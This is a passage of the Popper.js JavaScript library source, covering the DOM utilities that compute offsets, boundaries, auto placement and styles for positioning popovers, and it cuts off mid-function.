hidden elements which don't have an offsetParent\n while (offsetParent === noOffsetParent && element.nextElementSibling) {\n offsetParent = (element = element.nextElementSibling).offsetParent;\n }\n\n var nodeName = offsetParent && offsetParent.nodeName;\n\n if (!nodeName || nodeName === 'BODY' || nodeName === 'HTML') {\n return element ? element.ownerDocument.documentElement : document.documentElement;\n }\n\n // .offsetParent will return the closest TD or TABLE in case\n // no offsetParent is present, I hate this job...\n if (['TD', 'TABLE'].indexOf(offsetParent.nodeName) !== -1 && getStyleComputedProperty(offsetParent, 'position') === 'static') {\n return getOffsetParent(offsetParent);\n }\n\n return offsetParent;\n}\n\nfunction isOffsetContainer(element) {\n var nodeName = element.nodeName;\n\n if (nodeName === 'BODY') {\n return false;\n }\n return nodeName === 'HTML' || getOffsetParent(element.firstElementChild) === element;\n}\n\n/**\n * Finds the root node (document, shadowDOM root) of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} node\n * @returns {Element} root node\n */\nfunction getRoot(node) {\n if (node.parentNode !== null) {\n return getRoot(node.parentNode);\n }\n\n return node;\n}\n\n/**\n * Finds the offset parent common to the two provided nodes\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element1\n * @argument {Element} element2\n * @returns {Element} common offset parent\n */\nfunction findCommonOffsetParent(element1, element2) {\n // This check is needed to avoid errors in case one of the elements isn't defined for any reason\n if (!element1 || !element1.nodeType || !element2 || !element2.nodeType) {\n return document.documentElement;\n }\n\n // Here we make sure to give as \"start\" the element that comes first in the DOM\n var order = element1.compareDocumentPosition(element2) & Node.DOCUMENT_POSITION_FOLLOWING;\n var start = order ? element1 : element2;\n var end = order ? element2 : element1;\n\n // Get common ancestor container\n var range = document.createRange();\n range.setStart(start, 0);\n range.setEnd(end, 0);\n var commonAncestorContainer = range.commonAncestorContainer;\n\n // Both nodes are inside #document\n\n if (element1 !== commonAncestorContainer && element2 !== commonAncestorContainer || start.contains(end)) {\n if (isOffsetContainer(commonAncestorContainer)) {\n return commonAncestorContainer;\n }\n\n return getOffsetParent(commonAncestorContainer);\n }\n\n // one of the nodes is inside shadowDOM, find which one\n var element1root = getRoot(element1);\n if (element1root.host) {\n return findCommonOffsetParent(element1root.host, element2);\n } else {\n return findCommonOffsetParent(element1, getRoot(element2).host);\n }\n}\n\n/**\n * Gets the scroll value of the given element in the given side (top and left)\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @argument {String} side `top` or `left`\n * @returns {number} amount of scrolled pixels\n */\nfunction getScroll(element) {\n var side = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 'top';\n\n var upperSide = side === 'top' ? 'scrollTop' : 'scrollLeft';\n var nodeName = element.nodeName;\n\n if (nodeName === 'BODY' || nodeName === 'HTML') {\n var html = element.ownerDocument.documentElement;\n var scrollingElement = element.ownerDocument.scrollingElement || html;\n return scrollingElement[upperSide];\n }\n\n return element[upperSide];\n}\n\n/*\n * Sum or subtract the element scroll values (left and top) from a given rect object\n * @method\n * @memberof Popper.Utils\n * @param {Object} rect - Rect object you want to change\n * @param {HTMLElement} element - The element from the function reads the scroll values\n * @param {Boolean} subtract - set to true if you want to subtract the scroll values\n * @return {Object} rect - The modifier rect object\n */\nfunction includeScroll(rect, element) {\n var subtract = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false;\n\n var scrollTop = getScroll(element, 'top');\n var scrollLeft = getScroll(element, 'left');\n var modifier = subtract ? -1 : 1;\n rect.top += scrollTop * modifier;\n rect.bottom += scrollTop * modifier;\n rect.left += scrollLeft * modifier;\n rect.right += scrollLeft * modifier;\n return rect;\n}\n\n/*\n * Helper to detect borders of a given element\n * @method\n * @memberof Popper.Utils\n * @param {CSSStyleDeclaration} styles\n * Result of `getStyleComputedProperty` on the given element\n * @param {String} axis - `x` or `y`\n * @return {number} borders - The borders size of the given axis\n */\n\nfunction getBordersSize(styles, axis) {\n var sideA = axis === 'x' ? 'Left' : 'Top';\n var sideB = sideA === 'Left' ? 'Right' : 'Bottom';\n\n return parseFloat(styles['border' + sideA + 'Width'], 10) + parseFloat(styles['border' + sideB + 'Width'], 10);\n}\n\nfunction getSize(axis, body, html, computedStyle) {\n return Math.max(body['offset' + axis], body['scroll' + axis], html['client' + axis], html['offset' + axis], html['scroll' + axis], isIE(10) ? html['offset' + axis] + computedStyle['margin' + (axis === 'Height' ? 'Top' : 'Left')] + computedStyle['margin' + (axis === 'Height' ? 'Bottom' : 'Right')] : 0);\n}\n\nfunction getWindowSizes() {\n var body = document.body;\n var html = document.documentElement;\n var computedStyle = isIE(10) && getComputedStyle(html);\n\n return {\n height: getSize('Height', body, html, computedStyle),\n width: getSize('Width', body, html, computedStyle)\n };\n}\n\nvar classCallCheck = function (instance, Constructor) {\n if (!(instance instanceof Constructor)) {\n throw new TypeError(\"Cannot call a class as a function\");\n }\n};\n\nvar createClass = function () {\n function defineProperties(target, props) {\n for (var i = 0; i < props.length; i++) {\n var descriptor = props[i];\n descriptor.enumerable = descriptor.enumerable || false;\n descriptor.configurable = true;\n if (\"value\" in descriptor) descriptor.writable = true;\n Object.defineProperty(target, descriptor.key, descriptor);\n }\n }\n\n return function (Constructor, protoProps, staticProps) {\n if (protoProps) defineProperties(Constructor.prototype, protoProps);\n if (staticProps) defineProperties(Constructor, staticProps);\n return Constructor;\n };\n}();\n\n\n\n\n\nvar defineProperty = function (obj, key, value) {\n if (key in obj) {\n Object.defineProperty(obj, key, {\n value: value,\n enumerable: true,\n configurable: true,\n writable: true\n });\n } else {\n obj[key] = value;\n }\n\n return obj;\n};\n\nvar _extends = Object.assign || function (target) {\n for (var i = 1; i < arguments.length; i++) {\n var source = arguments[i];\n\n for (var key in source) {\n if (Object.prototype.hasOwnProperty.call(source, key)) {\n target[key] = source[key];\n }\n }\n }\n\n return target;\n};\n\n/**\n * Given element offsets, generate an output similar to getBoundingClientRect\n * @method\n * @memberof Popper.Utils\n * @argument {Object} offsets\n * @returns {Object} ClientRect like output\n */\nfunction getClientRect(offsets) {\n return _extends({}, offsets, {\n right: offsets.left + offsets.width,\n bottom: offsets.top + offsets.height\n });\n}\n\n/**\n * Get bounding client rect of given element\n * @method\n * @memberof Popper.Utils\n * @param {HTMLElement} element\n * @return {Object} client rect\n */\nfunction getBoundingClientRect(element) {\n var rect = {};\n\n // IE10 10 FIX: Please, don't ask, the element isn't\n // considered in DOM in some circumstances...\n // This isn't reproducible in IE10 compatibility mode of IE11\n try {\n if (isIE(10)) {\n rect = element.getBoundingClientRect();\n var scrollTop = getScroll(element, 'top');\n var scrollLeft = getScroll(element, 'left');\n rect.top += scrollTop;\n rect.left += scrollLeft;\n rect.bottom += scrollTop;\n rect.right += scrollLeft;\n } else {\n rect = element.getBoundingClientRect();\n }\n } catch (e) {}\n\n var result = {\n left: rect.left,\n top: rect.top,\n width: rect.right - rect.left,\n height: rect.bottom - rect.top\n };\n\n // subtract scrollbar size from sizes\n var sizes = element.nodeName === 'HTML' ? getWindowSizes() : {};\n var width = sizes.width || element.clientWidth || result.right - result.left;\n var height = sizes.height || element.clientHeight || result.bottom - result.top;\n\n var horizScrollbar = element.offsetWidth - width;\n var vertScrollbar = element.offsetHeight - height;\n\n // if an hypothetical scrollbar is detected, we must be sure it's not a `border`\n // we make this check conditional for performance reasons\n if (horizScrollbar || vertScrollbar) {\n var styles = getStyleComputedProperty(element);\n horizScrollbar -= getBordersSize(styles, 'x');\n vertScrollbar -= getBordersSize(styles, 'y');\n\n result.width -= horizScrollbar;\n result.height -= vertScrollbar;\n }\n\n return getClientRect(result);\n}\n\nfunction getOffsetRectRelativeToArbitraryNode(children, parent) {\n var fixedPosition = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false;\n\n var isIE10 = isIE(10);\n var isHTML = parent.nodeName === 'HTML';\n var childrenRect = getBoundingClientRect(children);\n var parentRect = getBoundingClientRect(parent);\n var scrollParent = getScrollParent(children);\n\n var styles = getStyleComputedProperty(parent);\n var borderTopWidth = parseFloat(styles.borderTopWidth, 10);\n var borderLeftWidth = parseFloat(styles.borderLeftWidth, 10);\n\n // In cases where the parent is fixed, we must ignore negative scroll in offset calc\n if (fixedPosition && parent.nodeName === 'HTML') {\n parentRect.top = Math.max(parentRect.top, 0);\n parentRect.left = Math.max(parentRect.left, 0);\n }\n var offsets = getClientRect({\n top: childrenRect.top - parentRect.top - borderTopWidth,\n left: childrenRect.left - parentRect.left - borderLeftWidth,\n width: childrenRect.width,\n height: childrenRect.height\n });\n offsets.marginTop = 0;\n offsets.marginLeft = 0;\n\n // Subtract margins of documentElement in case it's being used as parent\n // we do this only on HTML because it's the only element that behaves\n // differently when margins are applied to it. The margins are included in\n // the box of the documentElement, in the other cases not.\n if (!isIE10 && isHTML) {\n var marginTop = parseFloat(styles.marginTop, 10);\n var marginLeft = parseFloat(styles.marginLeft, 10);\n\n offsets.top -= borderTopWidth - marginTop;\n offsets.bottom -= borderTopWidth - marginTop;\n offsets.left -= borderLeftWidth - marginLeft;\n offsets.right -= borderLeftWidth - marginLeft;\n\n // Attach marginTop and marginLeft because in some circumstances we may need them\n offsets.marginTop = marginTop;\n offsets.marginLeft = marginLeft;\n }\n\n if (isIE10 && !fixedPosition ? parent.contains(scrollParent) : parent === scrollParent && scrollParent.nodeName !== 'BODY') {\n offsets = includeScroll(offsets, parent);\n }\n\n return offsets;\n}\n\nfunction getViewportOffsetRectRelativeToArtbitraryNode(element) {\n var excludeScroll = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false;\n\n var html = element.ownerDocument.documentElement;\n var relativeOffset = getOffsetRectRelativeToArbitraryNode(element, html);\n var width = Math.max(html.clientWidth, window.innerWidth || 0);\n var height = Math.max(html.clientHeight, window.innerHeight || 0);\n\n var scrollTop = !excludeScroll ? getScroll(html) : 0;\n var scrollLeft = !excludeScroll ? getScroll(html, 'left') : 0;\n\n var offset = {\n top: scrollTop - relativeOffset.top + relativeOffset.marginTop,\n left: scrollLeft - relativeOffset.left + relativeOffset.marginLeft,\n width: width,\n height: height\n };\n\n return getClientRect(offset);\n}\n\n/**\n * Check if the given element is fixed or is inside a fixed parent\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @argument {Element} customContainer\n * @returns {Boolean} answer to \"isFixed?\"\n */\nfunction isFixed(element) {\n var nodeName = element.nodeName;\n if (nodeName === 'BODY' || nodeName === 'HTML') {\n return false;\n }\n if (getStyleComputedProperty(element, 'position') === 'fixed') {\n return true;\n }\n return isFixed(getParentNode(element));\n}\n\n/**\n * Finds the first parent of an element that has a transformed property defined\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} first transformed parent or documentElement\n */\n\nfunction getFixedPositionOffsetParent(element) {\n // This check is needed to avoid errors in case one of the elements isn't defined for any reason\n if (!element || !element.parentElement || isIE()) {\n return document.documentElement;\n }\n var el = element.parentElement;\n while (el && getStyleComputedProperty(el, 'transform') === 'none') {\n el = el.parentElement;\n }\n return el || document.documentElement;\n}\n\n/**\n * Computed the boundaries limits and return them\n * @method\n * @memberof Popper.Utils\n * @param {HTMLElement} popper\n * @param {HTMLElement} reference\n * @param {number} padding\n * @param {HTMLElement} boundariesElement - Element used to define the boundaries\n * @param {Boolean} fixedPosition - Is in fixed position mode\n * @returns {Object} Coordinates of the boundaries\n */\nfunction getBoundaries(popper, reference, padding, boundariesElement) {\n var fixedPosition = arguments.length > 4 && arguments[4] !== undefined ? arguments[4] : false;\n\n // NOTE: 1 DOM access here\n\n var boundaries = { top: 0, left: 0 };\n var offsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);\n\n // Handle viewport case\n if (boundariesElement === 'viewport') {\n boundaries = getViewportOffsetRectRelativeToArtbitraryNode(offsetParent, fixedPosition);\n } else {\n // Handle other cases based on DOM element used as boundaries\n var boundariesNode = void 0;\n if (boundariesElement === 'scrollParent') {\n boundariesNode = getScrollParent(getParentNode(reference));\n if (boundariesNode.nodeName === 'BODY') {\n boundariesNode = popper.ownerDocument.documentElement;\n }\n } else if (boundariesElement === 'window') {\n boundariesNode = popper.ownerDocument.documentElement;\n } else {\n boundariesNode = boundariesElement;\n }\n\n var offsets = getOffsetRectRelativeToArbitraryNode(boundariesNode, offsetParent, fixedPosition);\n\n // In case of HTML, we need a different computation\n if (boundariesNode.nodeName === 'HTML' && !isFixed(offsetParent)) {\n var _getWindowSizes = getWindowSizes(),\n height = _getWindowSizes.height,\n width = _getWindowSizes.width;\n\n boundaries.top += offsets.top - offsets.marginTop;\n boundaries.bottom = height + offsets.top;\n boundaries.left += offsets.left - offsets.marginLeft;\n boundaries.right = width + offsets.left;\n } else {\n // for all the other DOM elements, this one is good\n boundaries = offsets;\n }\n }\n\n // Add paddings\n boundaries.left += padding;\n boundaries.top += padding;\n boundaries.right -= padding;\n boundaries.bottom -= padding;\n\n return boundaries;\n}\n\nfunction getArea(_ref) {\n var width = _ref.width,\n height = _ref.height;\n\n return width * height;\n}\n\n/**\n * Utility used to transform the `auto` placement to the placement with more\n * available space.\n * @method\n * @memberof Popper.Utils\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction computeAutoPlacement(placement, refRect, popper, reference, boundariesElement) {\n var padding = arguments.length > 5 && arguments[5] !== undefined ? arguments[5] : 0;\n\n if (placement.indexOf('auto') === -1) {\n return placement;\n }\n\n var boundaries = getBoundaries(popper, reference, padding, boundariesElement);\n\n var rects = {\n top: {\n width: boundaries.width,\n height: refRect.top - boundaries.top\n },\n right: {\n width: boundaries.right - refRect.right,\n height: boundaries.height\n },\n bottom: {\n width: boundaries.width,\n height: boundaries.bottom - refRect.bottom\n },\n left: {\n width: refRect.left - boundaries.left,\n height: boundaries.height\n }\n };\n\n var sortedAreas = Object.keys(rects).map(function (key) {\n return _extends({\n key: key\n }, rects[key], {\n area: getArea(rects[key])\n });\n }).sort(function (a, b) {\n return b.area - a.area;\n });\n\n var filteredAreas = sortedAreas.filter(function (_ref2) {\n var width = _ref2.width,\n height = _ref2.height;\n return width >= popper.clientWidth && height >= popper.clientHeight;\n });\n\n var computedPlacement = filteredAreas.length > 0 ? filteredAreas[0].key : sortedAreas[0].key;\n\n var variation = placement.split('-')[1];\n\n return computedPlacement + (variation ? '-' + variation : '');\n}\n\n/**\n * Get offsets to the reference element\n * @method\n * @memberof Popper.Utils\n * @param {Object} state\n * @param {Element} popper - the popper element\n * @param {Element} reference - the reference element (the popper will be relative to this)\n * @param {Element} fixedPosition - is in fixed position mode\n * @returns {Object} An object containing the offsets which will be applied to the popper\n */\nfunction getReferenceOffsets(state, popper, reference) {\n var fixedPosition = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : null;\n\n var commonOffsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);\n return getOffsetRectRelativeToArbitraryNode(reference, commonOffsetParent, fixedPosition);\n}\n\n/**\n * Get the outer sizes of the given element (offset size + margins)\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Object} object containing width and height properties\n */\nfunction getOuterSizes(element) {\n var styles = getComputedStyle(element);\n var x = parseFloat(styles.marginTop) + parseFloat(styles.marginBottom);\n var y = parseFloat(styles.marginLeft) + parseFloat(styles.marginRight);\n var result = {\n width: element.offsetWidth + y,\n height: element.offsetHeight + x\n };\n return result;\n}\n\n/**\n * Get the opposite placement of the given one\n * @method\n * @memberof Popper.Utils\n * @argument {String} placement\n * @returns {String} flipped placement\n */\nfunction getOppositePlacement(placement) {\n var hash = { left: 'right', right: 'left', bottom: 'top', top: 'bottom' };\n return placement.replace(/left|right|bottom|top/g, function (matched) {\n return hash[matched];\n });\n}\n\n/**\n * Get offsets to the popper\n * @method\n * @memberof Popper.Utils\n * @param {Object} position - CSS position the Popper will get applied\n * @param {HTMLElement} popper - the popper element\n * @param {Object} referenceOffsets - the reference offsets (the popper will be relative to this)\n * @param {String} placement - one of the valid placement options\n * @returns {Object} popperOffsets - An object containing the offsets which will be applied to the popper\n */\nfunction getPopperOffsets(popper, referenceOffsets, placement) {\n placement = placement.split('-')[0];\n\n // Get popper node sizes\n var popperRect = getOuterSizes(popper);\n\n // Add position, width and height to our offsets object\n var popperOffsets = {\n width: popperRect.width,\n height: popperRect.height\n };\n\n // depending by the popper placement we have to compute its offsets slightly differently\n var isHoriz = ['right', 'left'].indexOf(placement) !== -1;\n var mainSide = isHoriz ? 'top' : 'left';\n var secondarySide = isHoriz ? 'left' : 'top';\n var measurement = isHoriz ? 'height' : 'width';\n var secondaryMeasurement = !isHoriz ? 'height' : 'width';\n\n popperOffsets[mainSide] = referenceOffsets[mainSide] + referenceOffsets[measurement] / 2 - popperRect[measurement] / 2;\n if (placement === secondarySide) {\n popperOffsets[secondarySide] = referenceOffsets[secondarySide] - popperRect[secondaryMeasurement];\n } else {\n popperOffsets[secondarySide] = referenceOffsets[getOppositePlacement(secondarySide)];\n }\n\n return popperOffsets;\n}\n\n/**\n * Mimics the `find` method of Array\n * @method\n * @memberof Popper.Utils\n * @argument {Array} arr\n * @argument prop\n * @argument value\n * @returns index or -1\n */\nfunction find(arr, check) {\n // use native find if supported\n if (Array.prototype.find) {\n return arr.find(check);\n }\n\n // use `filter` to obtain the same behavior of `find`\n return arr.filter(check)[0];\n}\n\n/**\n * Return the index of the matching object\n * @method\n * @memberof Popper.Utils\n * @argument {Array} arr\n * @argument prop\n * @argument value\n * @returns index or -1\n */\nfunction findIndex(arr, prop, value) {\n // use native findIndex if supported\n if (Array.prototype.findIndex) {\n return arr.findIndex(function (cur) {\n return cur[prop] === value;\n });\n }\n\n // use `find` + `indexOf` if `findIndex` isn't supported\n var match = find(arr, function (obj) {\n return obj[prop] === value;\n });\n return arr.indexOf(match);\n}\n\n/**\n * Loop trough the list of modifiers and run them in order,\n * each of them will then edit the data object.\n * @method\n * @memberof Popper.Utils\n * @param {dataObject} data\n * @param {Array} modifiers\n * @param {String} ends - Optional modifier name used as stopper\n * @returns {dataObject}\n */\nfunction runModifiers(modifiers, data, ends) {\n var modifiersToRun = ends === undefined ? modifiers : modifiers.slice(0, findIndex(modifiers, 'name', ends));\n\n modifiersToRun.forEach(function (modifier) {\n if (modifier['function']) {\n // eslint-disable-line dot-notation\n console.warn('`modifier.function` is deprecated, use `modifier.fn`!');\n }\n var fn = modifier['function'] || modifier.fn; // eslint-disable-line dot-notation\n if (modifier.enabled && isFunction(fn)) {\n // Add properties to offsets to make them a complete clientRect object\n // we do this before each modifier to make sure the previous one doesn't\n // mess with these values\n data.offsets.popper = getClientRect(data.offsets.popper);\n data.offsets.reference = getClientRect(data.offsets.reference);\n\n data = fn(data, modifier);\n }\n });\n\n return data;\n}\n\n/**\n * Updates the position of the popper, computing the new offsets and applying\n * the new style.<br />\n * Prefer `scheduleUpdate` over `update` because of performance reasons.\n * @method\n * @memberof Popper\n */\nfunction update() {\n // if popper is destroyed, don't perform any further update\n if (this.state.isDestroyed) {\n return;\n }\n\n var data = {\n instance: this,\n styles: {},\n arrowStyles: {},\n attributes: {},\n flipped: false,\n offsets: {}\n };\n\n // compute reference element offsets\n data.offsets.reference = getReferenceOffsets(this.state, this.popper, this.reference, this.options.positionFixed);\n\n // compute auto placement, store placement inside the data object,\n // modifiers will be able to edit `placement` if needed\n // and refer to originalPlacement to know the original value\n data.placement = computeAutoPlacement(this.options.placement, data.offsets.reference, this.popper, this.reference, this.options.modifiers.flip.boundariesElement, this.options.modifiers.flip.padding);\n\n // store the computed placement inside `originalPlacement`\n data.originalPlacement = data.placement;\n\n data.positionFixed = this.options.positionFixed;\n\n // compute the popper offsets\n data.offsets.popper = getPopperOffsets(this.popper, data.offsets.reference, data.placement);\n data.offsets.popper.position = this.options.positionFixed ? 'fixed' : 'absolute';\n\n // run the modifiers\n data = runModifiers(this.modifiers, data);\n\n // the first `update` will call `onCreate` callback\n // the other ones will call `onUpdate` callback\n if (!this.state.isCreated) {\n this.state.isCreated = true;\n this.options.onCreate(data);\n } else {\n this.options.onUpdate(data);\n }\n}\n\n/**\n * Helper used to know if the given modifier is enabled.\n * @method\n * @memberof Popper.Utils\n * @returns {Boolean}\n */\nfunction isModifierEnabled(modifiers, modifierName) {\n return modifiers.some(function (_ref) {\n var name = _ref.name,\n enabled = _ref.enabled;\n return enabled && name === modifierName;\n });\n}\n\n/**\n * Get the prefixed supported property name\n * @method\n * @memberof Popper.Utils\n * @argument {String} property (camelCase)\n * @returns {String} prefixed property (camelCase or PascalCase, depending on the vendor prefix)\n */\nfunction getSupportedPropertyName(property) {\n var prefixes = [false, 'ms', 'Webkit', 'Moz', 'O'];\n var upperProp = property.charAt(0).toUpperCase() + property.slice(1);\n\n for (var i = 0; i < prefixes.length; i++) {\n var prefix = prefixes[i];\n var toCheck = prefix ? '' + prefix + upperProp : property;\n if (typeof document.body.style[toCheck] !== 'undefined') {\n return toCheck;\n }\n }\n return null;\n}\n\n/**\n * Destroy the popper\n * @method\n * @memberof Popper\n */\nfunction destroy() {\n this.state.isDestroyed = true;\n\n // touch DOM only if `applyStyle` modifier is enabled\n if (isModifierEnabled(this.modifiers, 'applyStyle')) {\n this.popper.removeAttribute('x-placement');\n this.popper.style.position = '';\n this.popper.style.top = '';\n this.popper.style.left = '';\n this.popper.style.right = '';\n this.popper.style.bottom = '';\n this.popper.style.willChange = '';\n this.popper.style[getSupportedPropertyName('transform')] = '';\n }\n\n this.disableEventListeners();\n\n // remove the popper if user explicity asked for the deletion on destroy\n // do not use `remove` because IE11 doesn't support it\n if (this.options.removeOnDestroy) {\n this.popper.parentNode.removeChild(this.popper);\n }\n return this;\n}\n\n/**\n * Get the window associated with the element\n * @argument {Element} element\n * @returns {Window}\n */\nfunction getWindow(element) {\n var ownerDocument = element.ownerDocument;\n return ownerDocument ? ownerDocument.defaultView : window;\n}\n\nfunction attachToScrollParents(scrollParent, event, callback, scrollParents) {\n var isBody = scrollParent.nodeName === 'BODY';\n var target = isBody ? scrollParent.ownerDocument.defaultView : scrollParent;\n target.addEventListener(event, callback, { passive: true });\n\n if (!isBody) {\n attachToScrollParents(getScrollParent(target.parentNode), event, callback, scrollParents);\n }\n scrollParents.push(target);\n}\n\n/**\n * Setup needed event listeners used to update the popper position\n * @method\n * @memberof Popper.Utils\n * @private\n */\nfunction setupEventListeners(reference, options, state, updateBound) {\n // Resize event listener on window\n state.updateBound = updateBound;\n getWindow(reference).addEventListener('resize', state.updateBound, { passive: true });\n\n // Scroll event listener on scroll parents\n var scrollElement = getScrollParent(reference);\n attachToScrollParents(scrollElement, 'scroll', state.updateBound, state.scrollParents);\n state.scrollElement = scrollElement;\n state.eventsEnabled = true;\n\n return state;\n}\n\n/**\n * It will add resize/scroll events and start recalculating\n * position of the popper element when they are triggered.\n * @method\n * @memberof Popper\n */\nfunction enableEventListeners() {\n if (!this.state.eventsEnabled) {\n this.state = setupEventListeners(this.reference, this.options, this.state, this.scheduleUpdate);\n }\n}\n\n/**\n * Remove event listeners used to update the popper position\n * @method\n * @memberof Popper.Utils\n * @private\n */\nfunction removeEventListeners(reference, state) {\n // Remove resize event listener on window\n getWindow(reference).removeEventListener('resize', state.updateBound);\n\n // Remove scroll event listener on scroll parents\n state.scrollParents.forEach(function (target) {\n target.removeEventListener('scroll', state.updateBound);\n });\n\n // Reset state\n state.updateBound = null;\n state.scrollParents = [];\n state.scrollElement = null;\n state.eventsEnabled = false;\n return state;\n}\n\n/**\n * It will remove resize/scroll events and won't recalculate popper position\n * when they are triggered. It also won't trigger onUpdate callback anymore,\n * unless you call `update` method manually.\n * @method\n * @memberof Popper\n */\nfunction disableEventListeners() {\n if (this.state.eventsEnabled) {\n cancelAnimationFrame(this.scheduleUpdate);\n this.state = removeEventListeners(this.reference, this.state);\n }\n}\n\n/**\n * Tells if a given input is a number\n * @method\n * @memberof Popper.Utils\n * @param {*} input to check\n * @return {Boolean}\n */\nfunction isNumeric(n) {\n return n !== '' && !isNaN(parseFloat(n)) && isFinite(n);\n}\n\n/**\n * Set the style to the given popper\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element - Element to apply the style to\n * @argument {Object} styles\n * Object with a list of properties and values which will be applied to the element\n */\nfunction setStyles(element, styles) {\n Object.keys(styles).forEach(function (prop) {\n var unit = '';\n // add unit if the value is numeric and is one of the following\n if (['width', 'height', 'top', 'right', 'bottom', 'left'].indexOf(prop) !== -1 && isNumeric(styles[prop])) {\n unit = 'px';\n }\n element.style[prop] = styles[prop] + unit;\n });\n}\n\n/**\n * Set the attributes to the given popper\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element - Element to apply the attributes to\n * @argument {Object} styles\n * Object with a list of properties and values which will be applied to the element\n */\nfunction setAttributes(element, attributes) {\n Object.keys(attributes).forEach(function (prop) {\n var value = attributes[prop];\n if (value !== false) {\n element.setAttribute(prop, attributes[prop]);\n } else {\n element.removeAttribute(prop);\n }\n });\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} data.styles - List of style properties - values to apply to popper element\n * @argument {Object} data.attributes - List of attribute properties - values to apply to popper element\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The same data object\n */\nfunction applyStyle(data) {\n // any property present in `data.styles` will be applied to the popper,\n // in this way we can make the 3rd party modifiers add custom styles to it\n // Be aware, modifiers could override the properties defined in the previous\n // lines of this modifier!\n setStyles(data.instance.popper, data.styles);\n\n // any property present in `data.attributes` will be applied to the popper,\n // they will be set as HTML attributes of the element\n setAttributes(data.instance.popper, data.attributes);\n\n // if arrowElement is defined and arrowStyles has some properties\n if (data.arrowElement && Object.keys(data.arrowStyles).length) {\n setStyles(data.arrowElement, data.arrowStyles);\n }\n\n return data;\n}\n\n/**\n * Set the x-placement attribute before everything else because it could be used\n * to add margins to the popper margins needs to be calculated to get the\n * correct popper offsets.\n * @method\n * @memberof Popper.modifiers\n * @param {HTMLElement} reference - The reference element used to position the popper\n * @param {HTMLElement} popper - The HTML element used as popper\n * @param {Object} options - Popper.js options\n */\nfunction applyStyleOnLoad(reference, popper, options, modifierOptions, state) {\n // compute reference element offsets\n var referenceOffsets = getReferenceOffsets(state, popper, reference, options.positionFixed);\n\n // compute auto placement, store placement inside the data object,\n // modifiers will be able to edit `placement` if needed\n // and refer to originalPlacement to know the original value\n var placement = computeAutoPlacement(options.placement, referenceOffsets, popper, reference, options.modifiers.flip.boundariesElement, options.modifiers.flip.padding);\n\n popper.setAttribute('x-placement', placement);\n\n // Apply `position` to popper before anything else because\n // without the position applied we can't guarantee correct computations\n setStyles(popper, { position: options.positionFixed ? 'fixed' : 'absolute' });\n\n return options;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction computeStyle(data, options) {\n var x = options.x,\n y = options.y;\n var popper = data.offsets.popper;\n\n // Remove this legacy support in Popper.js v2\n\n var legacyGpuAccelerationOption = find(data.instance.modifiers, function (modifier) {\n return modifier.name === 'applyStyle';\n }).gpuAcceleration;\n if (legacyGpuAccelerationOption !== undefined) {\n console.warn('WARNING: `gpuAcceleration` option moved to `computeStyle` modifier and will not be supported in future versions of Popper.js!');\n }\n var gpuAcceleration = legacyGpuAccelerationOption !== undefined ? legacyGpuAccelerationOption : options.gpuAcceleration;\n\n var offsetParent = getOffsetParent(data.instance.popper);\n var offsetParentRect = getBoundingClientRect(offsetParent);\n\n // Styles\n var styles = {\n position: popper.position\n };\n\n // floor sides to avoid blurry text\n var offsets = {\n left: Math.floor(popper.left),\n top: Math.floor(popper.top),\n bottom: Math.floor(popper.bottom),\n right: Math.floor(popper.right)\n };\n\n var sideA = x === 'bottom' ? 'top' : 'bottom';\n var sideB = y === 'right' ? 'left' : 'right';\n\n // if gpuAcceleration is set to `true` and transform is supported,\n // we use `translate3d` to apply the position to the popper we\n // automatically use the supported prefixed version if needed\n var prefixedProperty = getSupportedPropertyName('transform');\n\n // now, let's make a step back and look at this code closely (wtf?)\n // If the content of the popper grows once it's been positioned, it\n // may happen that the popper gets misplaced because of the new content\n // overflowing its reference element\n // To avoid this problem, we provide two options (x and y), which allow\n // the consumer to define the offset origin.\n // If we position a popper on top of a reference element, we can set\n // `x` to `top` to make the popper grow towards its top instead of\n // its bottom.\n var left = void 0,\n top = void 0;\n if (sideA === 'bottom') {\n top = -offsetParentRect.height + offsets.bottom;\n } else {\n top = offsets.top;\n }\n if (sideB === 'right') {\n left = -offsetParentRect.width + offsets.right;\n } else {\n left = offsets.left;\n }\n if (gpuAcceleration && prefixedProperty) {\n styles[prefixedProperty] = 'translate3d(' + left + 'px, ' + top + 'px, 0)';\n styles[sideA] = 0;\n styles[sideB] = 0;\n styles.willChange = 'transform';\n } else {\n // othwerise, we use the standard `top`, `left`, `bottom` and `right` properties\n var invertTop = sideA === 'bottom' ? -1 : 1;\n var invertLeft = sideB === 'right' ? -1 : 1;\n styles[sideA] = top * invertTop;\n styles[sideB] = left * invertLeft;\n styles.willChange = sideA + ', ' + sideB;\n }\n\n // Attributes\n var attributes = {\n 'x-placement': data.placement\n };\n\n // Update `data` attributes, styles and arrowStyles\n data.attributes = _extends({}, attributes, data.attributes);\n data.styles = _extends({}, styles, data.styles);\n data.arrowStyles = _extends({}, data.offsets.arrow, data.arrowStyles);\n\n return data;\n}\n\n/**\n * Helper used to know if the given modifier depends from another one.<br />\n * It checks if the needed modifier is listed and enabled.\n * @method\n * @memberof Popper.Utils\n * @param {Array} modifiers - list of modifiers\n * @param {String} requestingName - name of requesting modifier\n * @param {String} requestedName - name of requested modifier\n * @returns {Boolean}\n */\nfunction isModifierRequired(modifiers, requestingName, requestedName) {\n var 